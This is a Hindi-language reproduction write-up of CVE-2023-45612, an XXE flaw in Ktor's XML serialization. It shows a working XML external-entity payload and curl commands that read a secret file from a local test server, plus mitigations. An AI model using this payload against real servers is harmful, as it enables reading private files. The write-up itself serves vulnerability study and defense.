
एक उच्च गंभीरता वाली सुरक्षा समस्या का पुनरुत्पादन जो XXE (XML बाहरी इकाई) हमलों को Ktor के XML क्रमांकन पर अनुमति देता है।
CVE-2023-45612 एक उच्च गंभीरता वाली सुरक्षा समस्या है जो Ktor के XML सीरियलाइज़ेशन पर XXE (XML eXternal Entity) हमलों की अनुमति देती है, जिसे 2023 में पैच किया गया था।
नीचे विस्तृत तरीका दिया गया है कि मैंने समस्या को कैसे पुन: उत्पन्न किया।
पहले, हमें एक ऐसे सर्वर की आवश्यकता है जो XML फ़ाइलों को प्रोसेस करेगा। हम IntelliJ IDEA से एक Kotlin प्रोजेक्ट बनाते हैं और आवश्यक Ktor निर्भरताओं और सीरियलाइज़ेशन प्लगइन का उपयोग करने के लिए build.gradle.kts को संशोधित करते हैं। हमारी रुचि की निर्भरता io.ktor:ktor-serialization-kotlinx-xml है। संस्करण 2.3.4 कमजोर है, और संस्करण 2.3.5 पैच किया गया है।
फिर, हम प्रोजेक्ट की जड़ में sensitive_infos.txt नामक एक फ़ाइल जोड़ते हैं जो निजी रखी जाएगी और सर्वर के बाहर से सुलभ नहीं होगी। इस फ़ाइल की सामग्री है "This informations should be secret and not accessible by sending a .xmf file."।
फिर, हम Main.kt में सर्वर को लागू करते हैं। यह क्लाइंट द्वारा भेजे गए XML को Person वर्ग के String (name) में सीरियलाइज़ करके प्रोसेस करने के लिए डिज़ाइन किया गया है। फिर सर्वर उस नाम की पुष्टि करता है जो क्लाइंट ने अभी भेजा है। सर्वर शुरू करने के बाद, हम सामान्य और दुर्भावनापूर्ण उपयोग का परीक्षण कर सकते हैं:
क्लाइंट अपने नाम के साथ एक XML फ़ाइल भेजता है और उसे अभी भेजे गए नाम के साथ एक पुष्टि मिलती है। हम निम्नलिखित XML फ़ाइल के साथ इसका परीक्षण कर सकते हैं:
<?xml version="1.0" encoding="UTF-8"?>
<manifest xmlns="http://example.com/">
<name>Clément</name>
</manifest>
और कमांड:
curl -X POST http://localhost:8080/process -H "Content-Type: application/xml" -d @data.xml
क्लाइंट एक एंटिटी को URI के रूप में एक प्रतिस्थापन स्ट्रिंग प्रदान करके परिभाषित करता है और दुर्भावनापूर्ण XML फ़ाइल भेजता है, फिर सर्वर द्वारा सुलभ एक गुप्त फ़ाइल की सामग्री प्राप्त करता है। मैं नीचे एक फ़ाइल (sensitive_infos.txt) के साथ एक उदाहरण दिखाता हूँ जो सर्वर की जड़ में है, लेकिन ध्यान दें कि आप संभवतः अन्य फ़ाइलों तक भी पहुँच सकते हैं (यदि XML पार्सर उनकी सामग्री तक पहुँच सकता है) उदाहरण के लिए file:/// यदि सर्वर linux पर चलता है।
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
<!ENTITY exploit SYSTEM "sensitive_infos.txt">
]>
<manifest xmlns="http://example.com/">
<name>&exploit;</name>
</manifest>
और कमांड
curl -X POST http://localhost:8080/process -H "Content-Type: application/xml" -d @xxe.xml
सर्वर उत्तर देता है "Name sent: This informations should be secret and not accessible by sending a .xmf file.", जो साबित करता है कि हमने वास्तव में गुप्त जानकारी तक पहुँच प्राप्त कर ली है और इसलिए एक कमजोरी है।
वैसे, build.gradle.kts में संस्करण को 2.3.4 से 2.3.5 में बदलने से समस्या हल हो जाती है और सर्वर दुर्भावनापूर्ण इनपुट के लिए केवल "Name sent" का उत्तर देता है, जबकि सामान्य इनपुट के लिए सामान्य उत्तर बनाए रखता है, जो हमें पुष्टि करता है कि सुरक्षा समस्या 2.3.5 में हल हो गई है।
उपयोगकर्ता पर कभी भरोसा न करें! Ktor पार्सर इनपुट को स्वच्छ कर सकता है, उदाहरण के लिए सभी XML इनपुट फ़ाइलों को अस्वीकार करके जिनमें कोई एंटिटी हो।
उपयोगकर्ता के लिए कम प्रतिबंधात्मक, Ktor डिफ़ॉल्ट रूप से बाहरी एंटिटी को अक्षम कर सकता है, external-general-entities और external-parameter-entities सुविधाओं को false पर सेट करके, ताकि उपयोगकर्ता अभी भी अपनी XML फ़ाइल में एक एंटिटी घोषित कर सके, लेकिन यह एंटिटी अब किसी बाहरी संसाधन तक नहीं पहुँच सकती।
Ktor के CI/CD में XXE हमले के परीक्षण शामिल करें ताकि यह सुनिश्चित हो सके कि कोड उनके प्रति कमजोर नहीं है।